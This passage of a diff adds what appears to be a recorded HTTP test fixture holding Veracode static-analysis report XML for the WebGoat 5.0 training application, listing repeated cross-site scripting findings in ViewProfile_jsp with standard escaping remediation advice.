+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:11:10 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:12:23 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:12:22 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
